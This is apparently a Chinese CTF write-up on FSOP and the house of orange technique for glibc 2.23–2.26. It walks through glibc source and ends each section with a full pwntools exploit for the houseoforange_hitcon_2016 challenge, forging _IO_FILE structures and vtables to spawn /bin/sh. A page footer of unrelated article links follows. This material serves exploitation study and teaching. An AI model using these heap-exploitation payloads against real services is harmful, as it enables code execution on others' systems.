FSOP 是 File Stream Oriented  Programming 的缩写。所有的 _IO_FILE 结构会由 _chain 字段连接形成一个链表,由 _IO_list_all 来维护。而 FSOP 的核心思想就是劫持通过 _IO_list_all 的值来伪造链表和其中的 _IO_FILE 项。除了伪造数据,还有一点就是要想办法去执行,FSOP 选择的是触发错误来 get shell。

用到的函数是 malloc_printerr

static void
malloc_printerr (int action, const char *str, void *ptr, mstate ar_ptr)
{
/* Avoid using this arena in future. We do not attempt to synchronize this
with anything else because we minimally want to ensure that __libc_message
gets its resources safely without stumbling on the current corruption. */
if (ar_ptr)
set_arena_corrupt (ar_ptr); if ((action & 5) == 5)
__libc_message (action & 2, "%s\n", str);
else if (action & 1)
{
char buf[2 * sizeof (uintptr_t) + 1]; buf[sizeof (buf) - 1] = '\0';
char *cp = _itoa_word ((uintptr_t) ptr, &buf[sizeof (buf) - 1], 16, 0);
while (cp > buf)
*--cp = '0'; __libc_message (action & 2, "*** Error in `%s': %s: 0x%s ***\n",
__libc_argv[0] ? : "<unknown>", str, cp);
}
else if (action & 2)
abort ();
}

可以看到 malloc_printerr 又调用了 __libc_message 这个函数,继续跟进

void
__libc_message (int do_abort, const char *fmt, ...)
{
va_list ap;
int fd = -1; va_start (ap, fmt); #ifdef FATAL_PREPARE
FATAL_PREPARE;
#endif /* Open a descriptor for /dev/tty unless the user explicitly
requests errors on standard error. */
const char *on_2 = __libc_secure_getenv ("LIBC_FATAL_STDERR_");

............ va_end (ap); if (do_abort)
{
BEFORE_ABORT (do_abort, written, fd); /* Kill the application. */
abort ();
}
}

发现 __libc_message 会调用 abort() 函数来结束进程

/* Cause an abnormal program termination with core-dump.  */
void
abort (void)
{
struct sigaction act;
sigset_t sigs; /* First acquire the lock. */
__libc_lock_lock_recursive (lock); /* Now it's for sure we are alone. But recursive calls are possible. */ /* Unlock SIGABRT. */
if (stage == 0)
{
++stage;
if (__sigemptyset (&sigs) == 0 &&
__sigaddset (&sigs, SIGABRT) == 0)
__sigprocmask (SIG_UNBLOCK, &sigs, (sigset_t *) NULL);
} /* Flush all streams. We cannot close them now because the user
might have registered a handler for SIGABRT. */
if (stage == 1)
{
++stage;
fflush (NULL);
} /* Send signal which possibly calls a user handler. */
if (stage == 2)
...........

abort() 函数又会调用 fflush(NULL)

#define fflush(s) _IO_fflush (s)

fflush 被宏定义为 _IO_fflush

_IO_fflush (_IO_FILE *fp)
{
if (fp == NULL)
return _IO_flush_all ();

_IO_fflush 又会执行 _IO_flush_all ()

int
_IO_flush_all (void)
{
/* We want locking. */
return _IO_flush_all_lockp (1);
}
libc_hidden_def (_IO_flush_all)

_IO_flush_all () 又继续执行 _IO_flush_all_lockp()

int
_IO_flush_all_lockp (int do_lock)
{
int result = 0;
struct _IO_FILE *fp;
int last_stamp; #ifdef _IO_MTSAFE_IO
__libc_cleanup_region_start (do_lock, flush_cleanup, NULL);
if (do_lock)
_IO_lock_lock (list_all_lock);
#endif last_stamp = _IO_list_all_stamp;
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
run_fp = fp;
if (do_lock)
_IO_flockfile (fp); if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
result = EOF;
...........
_IO_flush_all_lockp 会把 _IO_list_all作为链表头开始遍历,并把当前节点作为 _IO_OVERFLOW 的参数。
#define _IO_OVERFLOW(FP, CH) JUMP1 (__overflow, FP, CH)
_IO_OVERFLOW 是 vtable 中的第四项。
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
我们知道 IO_FILE的结构如下

struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */ struct _IO_marker *_markers; struct _IO_FILE *_chain; int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset; /* This used to be _offset but it's too small. */ #define __HAVE_COLUMN /* temporary */
/* 1+column number of pbase(); 0 is unknown. */
unsigned short _cur_column;
signed char _vtable_offset;
char _shortbuf[1]; /* char* _save_gptr; char* _save_egptr; */ _IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE
};

这里会用 _chain 字段(x64的偏移为0x68)连接下一个结构体,从而形成一个单向链表。

FSOP 最经典的例题应该就是 house of orange,下面借助 houseoforange_hitcon_2016 来讲FSOP

但house of orange 分为两部分,前一部分是在没有 free 函数的情况下实现 free 的效果,另一部分是 FSOP

那我们先讲前一部分

在申请的堆块大小大于 top chunk的大小时会调用 sysmalloc 来分配

 /*
If have mmap, and the request size meets the mmap threshold, and
the system supports mmap, and there are few enough currently
allocated mmapped regions, try to directly map this request
rather than expanding top.
*/ if (av == NULL
|| ((unsigned long) (nb) >= (unsigned long) (mp_.mmap_threshold)
&& (mp_.n_mmaps < mp_.n_mmaps_max)))
{
char *mm; /* return value from mmap call*/ try_mmap:

如果申请大小 > (unsigned long) (mp_.mmap_threshold) 就会直接 mmap 出一块内存。

  /*
If not the first time through, we require old_size to be
at least MINSIZE and to have prev_inuse set.
*/ assert ((old_top == initial_top (av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse (old_top) &&
((unsigned long) old_end & (pagesize - 1)) == 0));
............
if (old_size >= MINSIZE)
{
set_head (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ) | PREV_INUSE);
set_foot (chunk_at_offset (old_top, old_size), (2 * SIZE_SZ));
set_head (old_top, old_size | PREV_INUSE | NON_MAIN_ARENA);
_int_free (av, old_top, 1);
}

另一种是会先把原来的 top chunk free 进 unsorted bin。但是要满足几个条件:

1、(unsigned long) (old_size) >= MINSIZE

2、 prev_inuse (old_top) = 1

3、 ((unsigned long) old_end & (pagesize - 1)) == 0)

所以我们通过溢出把 top chunk 的 size 改小即可,并且注意内存页对齐。

我们再通过 add 一个 large bin 大小的堆,来泄露 libc_base , heap_base。

现在是后一部分的FSOP

我们可以利用 unsorted bin attack 去劫持 _IO_list_all 指向 main_arena + 88 的位置处,但是其内容我们却不可控制,那我们把他看作 _IO_FILE 结构体,利用他的 _chain字段来指向我们可控的内存处,main_arena + 88 + 0x68 = main_arena + 0xC0 ,那里恰好储存着大小为 0x60大小的 small bin 的第一个 chunk 地址。所以我们把 unsorted bin 的 size 改为 0x60,然后再发生 unsorted bin 遍历的时候,这个 unsorted bin 就会链入 main_arena + 0xC0 处。我们把 fp的第一个参数改为 /bin/sh\x00 ,vtable->_IO_OVERFLOW 改为 system 函数即可。而 main_arena 处的 fp->_mode 值不满足要求,会通过 _chain 跳到我们下一个结构体,也就是我们刚刚伪造的数据处。

但是我们还要绕过一下检查:

      if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)

有两种方法:

一是:1. fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base

二是:1._IO_vtable_offset (fp) == 0 && _IO_vtable_offset (fp) == 0 && fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base

我选择满足第一个条件。

当然想满足第二个把 _wide_data 的值改为 fp - 0x8 -0x8 = fp - 0x10 即可,因为 fp->_IO_read_end > fp->_IO_read_ptr

struct _IO_wide_data
{
wchar_t *_IO_read_ptr; /* Current read pointer */
wchar_t *_IO_read_end; /* End of get area. */
wchar_t *_IO_read_base; /* Start of putback+get area. */
wchar_t *_IO_write_base; /* Start of put area. */
wchar_t *_IO_write_ptr; /* Current put pointer. */
wchar_t *_IO_write_end; /* End of put area. */
wchar_t *_IO_buf_base; /* Start of reserve area. */
wchar_t *_IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
wchar_t *_IO_save_base; /* Pointer to start of non-current get area. */
wchar_t *_IO_backup_base; /* Pointer to first valid character of
backup area */
wchar_t *_IO_save_end; /* Pointer to end of non-current get area. */ __mbstate_t _IO_state;
__mbstate_t _IO_last_state;
struct _IO_codecvt _codecvt; wchar_t _shortbuf[1]; const struct _IO_jump_t *_wide_vtable;
};
#endif
struct _IO_FILE {
int _flags; /* High-order word is _IO_MAGIC; rest is flags. */
#define _IO_file_flags _flags /* The following pointers correspond to the C++ streambuf protocol. */
/* Note: Tk uses the _IO_read_ptr and _IO_read_end fields directly. */
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
/* The following fields are used to support backing up and undo. */
char *_IO_save_base; /* Pointer to start of non-current get area. */
char *_IO_backup_base; /* Pointer to first valid character of backup area */
char *_IO_save_end; /* Pointer to end of non-current get area. */

附上exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' #s = remote('node4.buuoj.cn',25703)
#libc = ELF('./libc-2.23.so')
s = process('./houseoforange_hitcon_2016')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(length,name):
s.recvuntil(b'Your choice : ')
s.sendline(b'1')
s.recvuntil(b'Length of name :')
s.sendline(str(length))
s.recvuntil(b'Name :')
s.send(name)
s.recvuntil(b'Price of Orange:')
s.sendline(b'123')
s.recvuntil(b'Color of Orange:')
s.sendline(b'2') def show():
s.recvuntil(b'Your choice : ')
s.sendline(b'2') def edit(length,name):
s.recvuntil(b'Your choice : ')
s.sendline(b'3')
s.recvuntil(b'Length of name :')
s.sendline(str(length))
s.recvuntil(b'Name:')
s.send(name)
s.recvuntil(b'Price of Orange:')
s.sendline(b'123')
s.recvuntil(b'Color of Orange:')
s.sendline(b'2') add(0x10 ,b'a')
payload = b'a'*0x10+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0xfa1)
edit(len(payload) ,payload) add(0x1000 ,b'b')
add(0x400 ,b'c') show()
s.recvuntil(b'Name of house : ')
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3c5163
success('libc_base=>' + hex(libc_base))
edit(0x10 ,b'd'*0x10)
show()
s.recvuntil(b'd'*0x10)
heap_base = u64(s.recv(6).ljust(8,b'\x00')) & 0xfffffffffffff000
success(hex(heap_base)) _IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system'] fsop = b'/bin/sh\x00' + p64(0x61) + p64(0) + p64(_IO_list_all-0x10)
#unsorted bin attack makes _IO_list_all point to main_arena+88
#0x61 is aimed at making fake_chain (main_arena + 88 + 0x68) point to fake_IO_FILE (controllable area)
fsop+= p64(0) #write base
fsop+= p64(1) #write ptr fp->_IO_write_ptr > _IO_write_base
fsop = fsop.ljust(0xd8,b'\x00') vtable_addr = heap_base + 0x4f0 + 0xd8 + 0x8 fsop+= p64(vtable_addr)
fsop+= p64(0) #__dummy
fsop+= p64(0) #__dummy2
fsop+= p64(0) #__finish
fsop+= p64(system_addr) #_IO_OVERFLOW payload = b'd'*0x400 + p64(0) + p64(0x21)
payload+= p64(0) + p64(0)
payload+= fsop
gdb.attach(s)
edit(len(payload),payload)
s.recv()
#gdb.attach(s) s.interactive()

以上就是2.23的house of orange,但是由于在 2.24的glibc中加入了vtable check导致这种伪造虚表的方法不再可行,但同时也出现了新的利用手法。而且利用向下兼容并且更为简单。

我们先来看一下glibc 2.24里加入的对 vtable 的检查。

static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
/* Fast path: The vtable pointer is within the __libc_IO_vtables
section. */
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
/* The vtable pointer is not in the expected section. Use the
slow path, which will terminate the process if necessary. */
_IO_vtable_check ();
return vtable;
}

会检查 vtable 是否在 __start___libc_IO_vtables 和 __stop___libc_IO_vtables 之间。故我们之前任意伪造 vtable 的方法失效了。随及出现了一种新的利用方法,及使用 vtable 内的地址来作为 vtable 的地址。大致可以使用两个结构体: _IO_str_jumps 或 _IO_wstr_jumps ,他们会调用  _IO_str_overflow 。

我们这里以 _IO_str_jumps 来作为例子介绍。_IO_str_jumps 函数表:

pwndbg> p _IO_str_jumps
$1 = {
__dummy = 0,
__dummy2 = 0,
__finish = 0x7f5e537abfb0 <_IO_str_finish>,
__overflow = 0x7f5e537abc90 <__GI__IO_str_overflow>,
__underflow = 0x7f5e537abc30 <__GI__IO_str_underflow>,
__uflow = 0x7f5e537aa610 <__GI__IO_default_uflow>,
__pbackfail = 0x7f5e537abf90 <__GI__IO_str_pbackfail>,
__xsputn = 0x7f5e537aa640 <__GI__IO_default_xsputn>,
__xsgetn = 0x7f5e537aa720 <__GI__IO_default_xsgetn>,
__seekoff = 0x7f5e537ac0e0 <__GI__IO_str_seekoff>,
__seekpos = 0x7f5e537aaa10 <_IO_default_seekpos>,
__setbuf = 0x7f5e537aa940 <_IO_default_setbuf>,
__sync = 0x7f5e537aac10 <_IO_default_sync>,
__doallocate = 0x7f5e537aaa30 <__GI__IO_default_doallocate>,
__read = 0x7f5e537abae0 <_IO_default_read>,
__write = 0x7f5e537abaf0 <_IO_default_write>,
__seek = 0x7f5e537abac0 <_IO_default_seek>,
__close = 0x7f5e537aac10 <_IO_default_sync>,
__stat = 0x7f5e537abad0 <_IO_default_stat>,
__showmanyc = 0x7f5e537abb00 <_IO_default_showmanyc>,
__imbue = 0x7f5e537abb10 <_IO_default_imbue>
}

我们看一下其中的 _IO_str_finish 函数

void
_IO_str_finish (_IO_FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base);
fp->_IO_buf_base = NULL; _IO_default_finish (fp, 0);
}

我们可以看出,若符合条件这个函数会把 (_IO_strfile *) fp)->_s._free_buffer) 当作函数指针来直接调用,并且把 fp->_IO_buf_base 当成他的参数。(_IO_strfile *) fp)->_s._free_buffer) 从 IDA 里分析或者用 gdb 调试可知其实是 fp + 0xe8  的位置。那我们先把 vtable 的值改为 _IO_srt_jums - 0x10 ,再把 fp + 0xe8 放上 system,_IO_buf_base 放上 /bin/sh 的地址,即可getshell。由于不需要伪造虚表,这里还并不需要泄露 heap_base。值得注意的是 _IO_str_jumps 并不是导出符号,我选择的是直接用 gdb 来看他的偏移。

附上exp:

from pwn import *
context.arch = 'amd64'
context.log_level = 'debug' #s = remote('node4.buuoj.cn',25703)
#libc = ELF('./libc-2.23.so')
s = process('./houseoforange_hitcon_2016')
libc = ELF('./glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so')
def add(length,name):
s.recvuntil(b'Your choice : ')
s.sendline(b'1')
s.recvuntil(b'Length of name :')
s.sendline(str(length))
s.recvuntil(b'Name :')
s.send(name)
s.recvuntil(b'Price of Orange:')
s.sendline(b'123')
s.recvuntil(b'Color of Orange:')
s.sendline(b'2') def show():
s.recvuntil(b'Your choice : ')
s.sendline(b'2') def edit(length,name):
s.recvuntil(b'Your choice : ')
s.sendline(b'3')
s.recvuntil(b'Length of name :')
s.sendline(str(length))
s.recvuntil(b'Name:')
s.send(name)
s.recvuntil(b'Price of Orange:')
s.sendline(b'123')
s.recvuntil(b'Color of Orange:')
s.sendline(b'2') add(0x10 ,b'a')
payload = b'a'*0x10+p64(0)+p64(0x21)+b'a'*0x10+p64(0)+p64(0xfa1)
edit(len(payload) ,payload) add(0x1000 ,b'b')
add(0x400 ,b'c') show()
s.recvuntil(b'Name of house : ')
libc_base = u64(s.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) - 0x3c5163
success('libc_base=>' + hex(libc_base)) _IO_list_all = libc_base + libc.sym['_IO_list_all']
system_addr = libc_base + libc.sym['system']
_IO_strn_jumps = libc_base + 0x3c37a0
binsh_addr = libc_base + libc.search(b'/bin/sh').__next__() fsop = p64(0) + p64(0x61) + p64(0) + p64(_IO_list_all-0x10)
#unsorted bin attack makes _IO_list_all point to main_arena+88
#0x61 is aimed at making fake_chain (main_arena + 88 + 0x68) point to fake_IO_FILE (controllable area)
fsop+= p64(0) #write base
fsop+= p64(1) #write ptr fp->_IO_write_ptr > fp->_IO_write_base
fsop+= p64(0) #write end
fsop+= p64(binsh_addr) #buf base
fsop = fsop.ljust(0xd8,b'\x00')
fsop+= p64(_IO_strn_jumps - 0x8) #vtable
fsop+= p64(0) #_IO_FILE + 0xE8
fsop+= p64(system_addr) payload = b'd'*0x400 + p64(0) + p64(0x21)
payload+= p64(0) + p64(0)
payload+= fsop edit(len(payload),payload)
s.recv()
#gdb.attach(s) s.interactive()

这就是 2.24到2.26的方法,当然2.24之前也可以使用。由于2.27之后不再调用 abort() 来结束进程,故2.26以后的版本便要另寻他法。

此外house of orange 的成功率只有 1/2 ,因为只有在 libc 基址的低32位为负(及 > 0x80000000)时才会跳过第一步检查,第二步才会进入我们刚刚布置的环节。

参考链接:

https://www.anquanke.com/post/id/87194

https://zhuanlan.zhihu.com/p/53633514

https://zhuanlan.zhihu.com/p/53633514

https://blog.csdn.net/qq_39153421/article/details/115327308

http://t.zoukankan.com/luoleqi-p-13419069.html

https://blog.csdn.net/A951860555/article/details/116425824

https://ray-cp.github.io/archivers/IO_FILE_vtable_hajack_and_fsop

IO_FILE——FSOP、house of orange的更多相关文章

  1. 简单CSS hack:区分IE6、IE7、IE8、Firefox、Opera

    一.跨浏览器的网页设计一直是让人很头疼的问题,这不只是因为浏览器的版本众多,还有一个重要的原因是相同浏览器的不同时期的版本也会有差异,甚至是在不同操作同台上还会有不同.因此使CSS hack技术进行浏 ...

  2. Swift入门(十一)——类型转换与is、as操作

    三种操作:is.as?和as! Swift是强类型语言,但也允许开发者通过is.as?和as!这三种操作来对类型进行判断和强制转换.其中is用作类型判断,而as?和as!则分别是类型转换的可选形式和强 ...

  3. pwn易忘操作原理笔记

    堆溢出漏洞: 一.null-byte-off-by-one 漏洞原理:由于输入操作失误,导致可以把size最低字节修改为\x00,overlapchunk利用. 构造 1.freeB,此时C的pres ...

  4. 浅析“依赖注入(DI)/控制反转(IOC)”的实现思路

    开始学习Spring的时候,对依赖注入(DI)——也叫控制反转(IOC)—— 的理解不是很深刻.随着学习的深入,也逐渐有了自己的认识,在此记录,也希望能帮助其他入门同学更深入地理解Spring.本文不 ...

  5. css010 css的transform transition和animation

    css010 css的transform transition和animation 看着没有一个能想起他们是干什么的.. 1.         Transform    Transform(变形) r ...

  6. RabbitMQ基础概念详细介绍

    http://blog.csdn.net/column/details/rabbitmq.html 转至:http://www.ostest.cn/archives/497 引言 你是否遇到过两个(多 ...

  7. 连接的世界 - LTE时代产业趋势和战略分析

    连接的世界 - LTE时代产业趋势和战略分析 作者:华为有线技术公司李常伟 2014-09-22 信息产业发展解放的核心是这个世界连接的方式.由语音到数据.由通信到情感.由人的连接到物的连接.由“哑” ...

  8. 建造者模式(Builder Pattern)

    建造者模式:使用多个简单对象一步步构建成一个复杂的对象. 有时候,我们会创建一个“复杂”的对象,这个对象的由很多子对象构成,由于需求的变化,这个对象的各个部分经常面临剧烈的变化. 继续工厂模式的披萨店 ...

  9. Android应用程序资源的编译和打包过程分析

    文章转载至CSDN社区罗升阳的安卓之旅,原文地址:http://blog.csdn.net/luoshengyang/article/details/8744683 我们知道,在一个APK文件中,除了 ...

随机推荐

  1. mysql联合查询更新数据库例子

    mysql联合查询更新数据库例子,用户表,部门表,把用户表中的部门属性更新为部门表的主键UPDATE user_table AS utINNER JOIN belongdept AS bd ON bd ...

  2. SpringCloud(三) Zuul

    Zuul 有了eureka . feign 和 hystrix 后,基本上就搭建了简易版的分布式项目,但仍存在一些问题,比如: 1.如果我们的微服务中有很多个独立服务都要对外提供服务,那么我们要如何去 ...

  3. 【LeetCode】1414. 和为 K 的最少斐波那契数字数目 Find the Minimum Number of Fibonacci Numbers Whose Sum Is K

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 贪心 日期 题目地址:https://leetcode ...

  4. 【LeetCode】1150. Check If a Number Is Majority Element in a Sorted Array 解题报告(C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客:http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 字典 二分查找 日期 题目地址:https://lee ...

  5. 【LeetCode】906. Super Palindromes 解题报告(Python)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 BFS解法 相似题目 参考资料 日期 题目地址:ht ...

  6. 【LeetCode】676. Implement Magic Dictionary 解题报告(Python & C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 字典 汉明间距 日期 题目地址:https://le ...

  7. Unknown Treasure(hdu5446)

    Unknown Treasure Time Limit: 1500/1000 MS (Java/Others)    Memory Limit: 131072/131072 K (Java/Other ...

  8. MySQL 批量插入,如何不插入重复数据

    1.insert ignore into 当插入数据时,如出现错误时,如重复数据,将不返回错误,只以警告形式返回.所以使用ignore请确保语句本身没有问题,否则也会被忽略掉=======>IN ...

  9. Electron 使用 Tray设置图标的路径问题

    问题报错信息如图 上面的代码在dev模式下不报错,但是在build后,安装后,运行会提示错误,错误信息的大意是参数错误,原因应该是安装后的图片文件路径有问题,这块没有详细研究解决上面的问题的方法,是使 ...

  10. Ubuntu复习笔记-认识Linux

    本次复习基于\(Ubuntu20.04\)的发行版进行总结,目的是更好记录自己学习的\(Linux\). 认识Linux 学习\(Linux\)之前,需要搞懂几个概念,\(Linux\)桌面操作系统与 ...